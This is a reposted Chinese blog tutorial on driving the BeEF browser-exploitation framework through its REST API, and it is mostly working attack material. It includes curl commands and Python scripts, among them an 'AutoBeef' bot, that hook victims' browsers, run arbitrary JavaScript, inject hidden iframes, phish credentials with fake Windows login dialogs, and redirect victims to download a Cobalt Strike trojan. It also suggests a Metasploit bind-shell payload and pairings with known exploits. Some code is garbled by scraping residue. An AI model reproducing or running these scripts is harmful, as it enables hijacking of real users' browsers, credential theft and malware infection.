首页 > 代码库 > 利用BeEF REST API自动化控制僵尸主机 --转载--作者ssooking
利用BeEF REST API自动化控制僵尸主机 --转载--作者ssooking
一. 前言
关于BeEF，不再多介绍，它的强大毋庸置疑，利用它我们可以做很多事 情。最近的一些实验，需要用beef进行批量自动控制，发现网上也没有过多关于这方面内容的介绍，于是学习了一下它的API，顺便练习一下python编 程，这里把自己的学习内容分享下。本文涉及的一些内容可能具有一定的攻击性，请遵守国家法律，禁止用于非法用途。
二. 通过API控制beef
BeEF从0.4.3.3,版本开始，提供了静态API接口，用户可以通过发送HTTP / JSON请求控制Beef。
我们可以通过程序，批量自动加载执行某些beef的模块，实现比如自动维持权限，Getshell等功能。
在后面的正文里，每一个调用模块的示例中，我都会尝试单独编写代码进行测试，最后，我会将各个部分组合起来，实现一个自动化控制的小demo。本文涉及到的所有代码你都可以在这里找到：https://github.com/ssooking/AutoBeef/。进入正题，我们先启动beef。本机IP：192.168.1.133
默认hook js：http://192.168.1.133:3000/hook.js默认hook页面： http://192.168.1.133:3000/demos/basic.html默认管理界面： http://192.168.1.133:3000/ui/panel
当我们启动beef的时候，会自动生成一个静态API key，这个key用于身份认证，我们每次通过API进行控制时，都要添加这个参数值 。需要提到的是，如果你发现后文的API key，session等参数值发生了变化，是因为这篇文章不是一次写完的，测试时因为重新开启beef产生了变化，因此不要纠结，我们应该关注API如 何调用。
下面，我们可以创建一个简单的hook页面 ，如xss.html
<html> <head> <script src="http://192.168.1.133:3000/hook.js"></script> </head></html>我们也可以访问默认hook页面 http://192.168.1.133:3000/demos/basic.html，为了测试，这里我使用了一台虚拟机，本机也使一个浏览器被hook。在管理面板可以看到主机已经上线。
在控制台，我们能够直接看到被hook的主机，并执行相关攻击模块。那么怎样通过API实现这些功能呢？下面，我们将通过实例进行介绍。在此之 前，可以理我们的API请求的文件，主要存放于beef框架下core目录和core/api目录下，我们可以在该目录下查找并阅读相关源代码，了解功能 的实现机制，使用API进行HTTP交互时，默认的交互数据类型为json。
获取API Key
/api/admin/login是用户登录接口，通过该接口登录之后，我们可以得到用于会话认证的API key
我们用curl命令，使用默认的口令提交登录请求，会返回我们的key。这个功能可以被用于后文编写自动化控制脚本。
curl -H "Content-Type: application/json" -X POST -d ‘{"username":"beef", "password":"beef"}‘ http://192.168.1.133:3000/api/admin/login 
我们可以用下面这样一个简单的小脚本实现，代码也比较简单，不再多废话
#!/usr/bin/env python# -*- coding: utf-8 -*-# ** Author: ssookingimport jsonimport urllib2def getauthkey(host): apiurl = host + "api/admin/login" logindata = http://www.mamicode.com/{"color: #800000;">"username":"beef", "password":"beef" } jdata = http://www.mamicode.com/json.dumps(logindata) # 对数据进行JSON格式化编码 req = urllib2.Request(apiurl, jdata) # 生成页面请求的完整数据 response = urllib2.urlopen(req) # 发送页面请求 resdata = http://www.mamicode.com/response.read() # 获取服务器返回的页面信息，数据类型为str jsondata = http://www.mamicode.com/json.loads(resdata) # 把数据解析成python对象，此时返回dict数据 return jsondata[‘token‘]if __name__ == ‘__main__‘: host = "http://192.168.1.133:3000/" print getauthkey(host)获取hook主机列表
API中，我们要获取hook主机信息的api接口为：api/hooks。提交请求的格式类似于这样： api/hooks?token=xxxxx。需要的参数token的值是用于身份认证的API key。我们用curl命令发送请求，获取hook主机列表信息。
curl http://192.168.1.133:3000/api/hooks?token=641640ae3ce89c4da45ee98de341f3e858f62bd3
返回了当前hook的主机情况，返回的json数据格式不太友好，作为测试，我们可以使用json代码格式化工具便于查看。
这里是一个不错的在线json编辑工具：http://tool.lu/json/。我们也可以直接在浏览器中访问url，但是后文涉及提交某些必要的参数时，不能使用这种方式。
json代码经过格式化之后，我们可以看到，有两个主机上线。每个上线主机都有id号来表示身份。
session参数值是后面通过A{I调用执行beef模块时必须的参数，这个值你也可以在Web控制台的Cookie处找到。
我们也可以通过脚本发送类似的请求实现这个获取这些信息，比如下面这个简单的示例代码
#!/usr/bin/env python# -*- coding=utf-8 -*-# ** Author: ssookingimport jsonimport urllib2def getHookedBrowsers(host,authkey): f = urllib2.urlopen(host + "/api/hooks?token=" + authkey) data = http://www.mamicode.com/json.loads(f.read())"color: #800000;">"hooked-browsers"]["online"] print hooked return hookedif __name__ == ‘__main__‘: host = "http://192.168.1.133:3000/" key = "e7170da7263c46d8e505ab044017707107a2ee6f" getHookedBrowsers(host,key)
如果你想知道某个被hook主机的详细信息，只要加上浏览器session值即可，它的请求格式应该是这样的
/api/hooks/浏览器session会话值?token=xxxxxxxxxxxxxxx列举可调用的模块信息
再来说说怎样调用模块，这部分功能是由/api/modules.rb控制的，我们通过/api/modules接口可以列举能调用的模块
curl http://192.168.1.133:3000/api/modules?token=641640ae3ce89c4da45ee98de341f3e858f62bd3
返回的格式不友好，我们直接在浏览器里访问
我们可以发现，每一个模块都有对应的id号。我们在beef控制台里随便找一个，也可以找到这个id。但是需要注意一下，这个id号会因为你BeEF模块数目的不同有所变化，在编写代码之前你应该确认这个id号。
如果你请求的格式像这样： /api/modules/130?token=xxxxx ， 即modules后面加上了具体的模块id号，那么可以得到这个模块的详细信息，比如需要的参数等
所以，如果想要调用某个模块，我们只需要知道这个模块的id，并且在发送请求的的时候提供该模块需要的参数即可。执行模块时请求的格式是这样的 /api/modules/:session/:module_id （session是被hook的浏览器会话，module_id即为beef模块的id号）
需要注意的是，提交参数时，Content-Type必须为json类型,字符集为 UTF-8，并且请求的主体内容必须是有效的json数据，这在后文有实例。
执行BeEF模块
举个调用例子。
这里使用一个简单的权限维持模块 Confirm Close Tab。这个模块的作用是，受害者在试图关闭选项卡时会向用户显示”关闭确认”对话框，通过这种方式来增加shell的存活时间。相关功能的模块还 有 Man-In-The-Browser，Create Foreground iFrame，Create Pop Under。
我们可以看到，这个模块id为177，不需要提供其他参数，那么我们可以用curl模拟这种格式的请求来执行该模块
curl -i -H "Content-Type: application/json; charset=UTF-8" -d ‘{}‘ http://xxxxx/api/modules/浏览器session/模块id?token=xxxx 
虽然模块不需要额外的参数，但是因为请求主体必须为json格式，所以我们用 -d ‘{}’ 发送空数据。此时beef终端会有执行成功的提示。
如果你没有这个参数，就会报如图中 Invalid JSON input for module ’177′ 的错误
在浏览器中验证，当我们点击关闭这个页面时，会弹出确认框，说明成功加载了这个模块。
同样的，我们可以编写脚本执行该模块
#!/usr/bin/env python# -*- coding=utf-8 -*-# ** Author: ssookingimport jsonimport urllib2def sendConfirm(host, sessionId, authkey): postdata = http://www.mamicode.com/‘{}‘ url = host + "api/modules/" + sessionId + "/177?token=" + authkey print "[+] URL: " + url req = urllib2.Request(url, postdata) req.add_header("Content-Type", "application/json; charset=UTF-8") f = urllib2.urlopen(req) print f.read()if __name__ == ‘__main__‘: host = "http://192.168.1.133:3000/" sessionId = "tdipkyoT9fqMsMwrW6oc7esUX74rnuOffhe94T4u2DFRlAjhl5CN47gFikTjccC4YPetBtYhszOqb6MU" key = "e7170da7263c46d8e505ab044017707107a2ee6f" sendConfirm(host,sessionId,key) 
来一个带参数的例子，这次我使用的是Raw JavaScript模块，这个模块允许我们在目标浏览器上执行javascript代码。注意，这些javascript代码不能经过特殊编码。
这个模块的id号为169，我们再来看看它需要的参数，通过下面这样的请求获取模块详细信息
http://192.168.1.133:3000/api/modules/169?token=be531aa684a8fd9ae86c36a3b062697706d9f2d5
需要提供的参数名为：”cmd”，参数内容是我们要执行的Javascript代码，我们可以用curl构造请求进行测试
curl -i -H "Content-Type: application/json; charset=UTF-8" -d ‘{"cmd":"alert(\ssooking\);"}‘ http://192.168.1.133:3000/api/modules/ykH80KnJo0NGgTnRF04kwsE9cuXxI7JaxvBbH4diBxWvNrmYnTt99Vp5Bg8UjMb4rHgBQF08k5pFOLso/169?token=dadd1be063d3a3b4339d84f5bdbbcbb25616b41d36a3b062697706d9f2d5
因为不能用多个单引号，所以我用alert(\ssooking\)代替，但是没有弹出窗口，不过我使用自己编写的脚本执行这个模块就可以成功执行
#!/usr/bin/env python# -*- coding=utf-8 -*-# ** Author: ssookingimport jsonimport urllib2def execJavascript(host, sessionId, authkey): payload={ "cmd":"alert(‘Hello ssooking!‘);" } apiurl = host + "api/modules/" + sessionId + "/169?token=" + authkey print "[+] URL: " + apiurl jdata = http://www.mamicode.com/json.dumps(payload) # 对数据进行JSON格式化编码 req = urllib2.Request(apiurl, jdata) # 生成页面请求的完整数据 req.add_header("Content-Type", "application/json; charset=UTF-8") response = urllib2.urlopen(req) # 发送页面请求 resdata = http://www.mamicode.com/response.read() # 获取服务器返回的页面信息，数据类型为str return resdataif __name__ == ‘__main__‘: host = "http://192.168.1.133:3000/" sessionId = "ykH80KnJo0NGgTnRF04kwsE9cuXxI7JaxvBbH4diBxWvNrmYnTt99Vp5Bg8UjMb4rHgBQF08k5pFOLso" key = "dadd1be063d3a3b4339d84f5bdbbcbb25616b41d" print execJavascript(host,sessionId,key) 
弹出了窗口
再举个带参数的例子，这次我使用的是Create Invisible Iframe模块，它的功能是创建一个隐藏的Frame。
这个模块的id为174，需要的参数是隐藏的Frame所指向的url地址
先查看一下模块的详细参数名
可以看到，这个请求的这个url参数名为”target”。下面进行测试，我们使用python创建一个简单的HTTP服务器
我们用curl构造请求
curl -i -H "Content-Type: application/json; charset=UTF-8" -d ‘{"target":"http://192.168.1.133:8000/"}‘ http://192.168.1.133:3000/api/modules/tdipkyoT9fqMsMwrW6oc7esUX74rnuOffhe94T4u2DFRlAjhl5CN47gFikTjccC4YPetBtYhszOqb6MU/174?token=32c75b5e91ef4e519da119349d2c0cbd7cd23259执行成功，python HTTP上成功回显，说明我们在目标的浏览器上创建了一个隐藏的iframe，并使其访问了这个url地址
获取模块执行结果
有些模块执行完毕后，我们需要获取返回的数据，比如凭证欺骗模块Pretty Theft，我们想要获取用户输入的认证口令。
我们使用一个简单的windows凭证认证模板
它可以使目标浏览器上会弹出虚假的认证框
当受害者提交了凭证之后，从beef的执行结果中，我们可以看到欺骗到的密码
下面就通过API调用执行该模块，先看下参数
查看模块详细信息，我们可以找到这个模块需要的所有参数，有：欺骗对话框类型”choice”，背景风格”backing”，Logo的图片地址”imgsauce” ，因此请求示例应该像这样：
curl -i -H "Content-Type: application/json; charset=UTF-8" -d ‘{"choice":"Windows","backing":"Grey","imgsauce":"http://0.0.0.0:3000/ui/media/images/beef.png"}‘ http://192.168.1.133:3000/api/modules/ykH80KnJo0NGgTnRF04kwsE9cuXxI7JaxvBbH4diBxWvNrmYnTt99Vp5Bg8UjMb4rHgBQF08k5pFOLso/117?token=dadd1be063d3a3b4339d84f5bdbbcbb25616b41d
执行成功，并且返回了模块执行的command_id为35。假设我们提交的口令是：test333/123456
我们想要获取受害者提供的这些认证信息，这时候，我们需要这样请求：
/api/modules/浏览器session/模块id/command_id？token=xxx比如
Beef与metasploit联用
我们当然不能忘记了metasploit这个神器。Beef与metasploit联用，实在是个杀器。要想在beef加载metasploit，我们首先需要修改默认的配置文件，修改beef下config.yaml文件
把启用metasploit这个选项值改成true
另外,如果你的metasploit安装位置不包含在默认路径里，需要在beef-xss/extensions/metasploit/config.yaml的文件里设置一下
然后我们启动msf加载msgrpc
msfconsole -x “load msgrpc ServerHost=127.0.0.1 Pass=abc123″
重启beef即可加载metasploit模块
这样我们就会在web控制台里发现加载的metasploit模块，但是并不是所有模块都适合与beef联用。
同样的，如果你想调用Metasploit模块，步骤与前面的都一样，先查看改模块的id，所需参数等信息，然后构造请求调用这个模块即可，关于 metasploit模块调用，因为过两天要考试了，没有时间做测试，有兴趣的朋友可以试一试。这个是 BeEF-RESTful API的上一个示例。
curl -H "Content-Type: application/json; charset=UTF-8" -d ‘{"SRVPORT":"3992", "URIPATH":"77345345345dg", "PAYLOAD":"generic/shell_bind_tcp"}‘ -X POST http://xxxx/api/modules/浏览器session?token=xxx三. 编写自动化控制脚本
下面我尝试编写一个简单的自动控制hook主机的脚本，批量执行我提前设定的一些模块。我的思路是定时获取hook主机的session信息 ，存放到一个字典里，如果有新上线的僵尸主机的浏览器session，我们就通过API控制这个浏览器执行我们设定好的Beef模块，并把这个 session添加到一个列表里，表示已经执行过。如果检测到某个session已经存在于列表中，说明已经执行过，就不再执行。测试的代码中，我简单地 使用用了三个模块：Confirm Close Tab，Raw Javascript，Redirect Browser。第一个模块可以增加shell存活时间，第二个模块可以执行javascript代码，第三个模块使浏览器进行跳转，我把这个跳转地址指 向一个Cobalt Strike生成的测试木马，使其浏览器自动下载这个测试木马并模拟受害者运行。
先贴代码：
#!/usr/bin/env python# -*- coding: utf-8 -*-# ** Author: ssooking# ** Name： AutoBeef.pyimport jsonimport urllib2import timehostlist = []hostdict = {}def getauthkey(host): apiurl = host + "api/admin/login" logindata = http://www.mamicode.com/{"color: #800000;">"username":"beef", "password":"beef" } jdata = http://www.mamicode.com/json.dumps(logindata) # 对数据进行JSON格式化编码 req = urllib2.Request(apiurl, jdata) # 生成页面请求的完整数据 response = urllib2.urlopen(req) # 发送页面请求 resdata = http://www.mamicode.com/response.read() # 获取服务器返回的页面信息，数据类型为str jsondata = http://www.mamicode.com/json.loads(resdata) # 把数据解析成python对象，此时返回dict数据 return jsondata[‘token‘]def getHookedBrowsersSession(host,authkey): f = urllib2.urlopen(host + "/api/hooks?token=" + authkey) data = http://www.mamicode.com/json.loads(f.read())"color: #800000;">‘hooked-browsers‘][‘online‘] for x in hookonline: hookid = hookonline[x][‘id‘] hookip = hookonline[x][‘ip‘] hooksession = hookonline[x][‘session‘] if hookid not in hostdict: hostdict[hookid] = hooksession print "\n[+] Hooked host id: " + bytes(hookid) + "\n >>> IP: " + bytes(hookip) + "\n >>> Session: " + hooksessiondef sendConfirm(host, session, authkey): postdata = http://www.mamicode.com/‘{}‘ url = host + "api/modules/" + session + "/177?token=" + authkey #print url req = urllib2.Request(url, postdata) req.add_header("Content-Type", "application/json; charset=UTF-8") f = urllib2.urlopen(req) print " >>> [+] Module Confirm Close Tab has been Executed ! " return f.read()def execJavascript(host, session, authkey): payload={ "cmd":"alert(‘Hello by ssooking!‘);" } apiurl = host + "api/modules/" + session + "/169?token=" + authkey jdata = http://www.mamicode.com/json.dumps(payload)"Content-Type", "application/json; charset=UTF-8") response = urllib2.urlopen(req) resdata = http://www.mamicode.com/response.read()" >>> [+] Module Raw JavaScript has been Executed ! " return resdatadef redirectBrowser(host, session, authkey): payload = {"redirect_url":"http://192.168.1.133:8000/plugins.exe"} apiurl = host + "api/modules/" + session + "/42?token=" + authkey jdata = http://www.mamicode.com/json.dumps(payload)"Content-Type", "application/json; charset=UTF-8") response = urllib2.urlopen(req) resdata = http://www.mamicode.com/response.read()" >>> [+] Module Redirect Browser has been Executed ! " return jsondatadef createIFrame(host, sessionId, authkey): postdata = http://www.mamicode.com/‘{"target":"http://192.168.1.133:8000/"}‘ url = host + "api/modules/" + sessionId + "/174?token=" + authkey req = urllib2.Request(url, postdata) req.add_header("Content-Type", "application/json; charset=UTF-8") f = urllib2.urlopen(req) print " >>> [+] Module Create Invisible Iframe has been Executed ! " return f.read()def autoRunModules(host,session,authkey): #sendConfirm(host, session, authkey) #execJavascript(host, session, authkey) redirectBrowser(host, session, authkey)def timeRun(interval,host): authkey = getauthkey(host) print "[+] AutoBeef is running...." print "[+] BeEF KEY is : "+ authkey print "[+] Base BeEF API URL: "+ host + "api/" print "[+] Hook URL : " + host + "hook.js" print "[+] Hook Demo : " + host + "demos/basic.html" while True: try: getHookedBrowsersSession(host, authkey) for x in hostdict: if hostdict[x] not in hostlist: hostlist.append(hostdict[x]) autoRunModules(host,hostdict[x],authkey) time.sleep(interval) except Exception, e: print eif __name__ == ‘__main__‘: beefhost = "http://192.168.1.133:3000/" timeRun(3,beefhost) 代码比较挫，没有什么要说的。利用了time库,每隔3秒读取一次hook信息，检查是否有新上线主机，你可以根据自己的需要调整这个时间。每个模块调用函数都是独立的，你可以单独进行测试之后，添加到modules方法中即可。编写代码过程中容易遇到问题的地方是处理返回的数据，需要注意str，dict，list等数据类型的处理与转换。我先只测试执行一个Redirect Browser模块 ：
程序检测到有新上线的僵尸主机，会控制浏览器自动下载我们的恶意程序
一旦受害者点击这个程序，我们可以获得进一步权限。
当受害者运行恶意软件时，我们便控制了僵尸主机
当然我们也可以执行多个模块，你只需要在autoRunModules方法中添加你的调用函数即可，比如我测试自动运行Confirm Close Tab，Raw Javascript两个模块。
但是需要注意的是，有些模块功能上是冲突的，不能一起执行，比如Confirm Close Tab和Redirect Browser。
执行多个模块运行截图
只要思路够开阔，就有很多好玩的姿势，你可以发挥自己的想象，配合各种xss～～下面是一些有意思的模块：
Create Invisible Frame + Browser Autopwn ：我们可以用metasploit的 Browser Autopwn模块生成一个攻击url，然后创建一个隐藏的iframe指向这个url
Raw Javascript ： 光是这个就能干很多事，不只是弹框哦～～
Fake Notification Bar ，Fake Flash Update： 伪装浏览器插件，flash升级等，配合执行恶意软件
Pretty Theft： 欺骗认证凭据的，也可以试着自己定制一个模板，哪里能用到？。。报名统计啦，手机微信投票啦～～
试试看配合一些漏洞
ms10-046 Microsoft Windows Shell LNK Code Execution
CVE-2015-0096 Microsoft Windows Shell SMB LNK Code Execution Exploit
不知道能不能来个永恒之蓝的姿势～～～～
…………..
对于手机，也有很多模块可以使用
关于代码
如果你要使用AutoBeef，你需要对代码进行一些修改使其适应你的beef平台，比如beef主机地址，某个模块的id等等。你可以根据自己的需要添加相关模块，你也可以对其进行优化，使其更加健壮。其实官方也提供了beefapi的库，你可以在这里找到https://github.com/byt3bl33d3r/BeEF-API/blob/master/beefapi.py。通过调用里面的函数，我们也可以很方面地对beef进行控制，但是涉及到执行某个模块时，我们还是需要查看模块详细信息，提供其必要的参数。所以，我建议自己可以动手实现一下，只有这样我们才能进步提高，而且自己写的代码，可以根据自己的需要随时进行拓展修改，遇到问题也能很快解决。
如果你要使用官方提供的beefAPI，你需要把它移植到你的python库中,kali里可以这样：
sudo cp beefapi.py /usr/lib/python2.7/dist-packages/使用的时候从beefapi中导入即可，你可以查看帮助或者阅读其源代码
遇到的问题
测试过程中我使用的是chrome和firefox，并且发现IE,360等浏览器无法正常hook。
四. 最后的话
只是一句话：不要随便点开一个链接。
参考文章
https://github.com/beefproject/beef/wiki/BeEF-RESTful-API
https://github.com/byt3bl33d3r/BeEF-API/blob/master/beefapi.py
利用BeEF REST API自动化控制僵尸主机 --转载--作者ssooking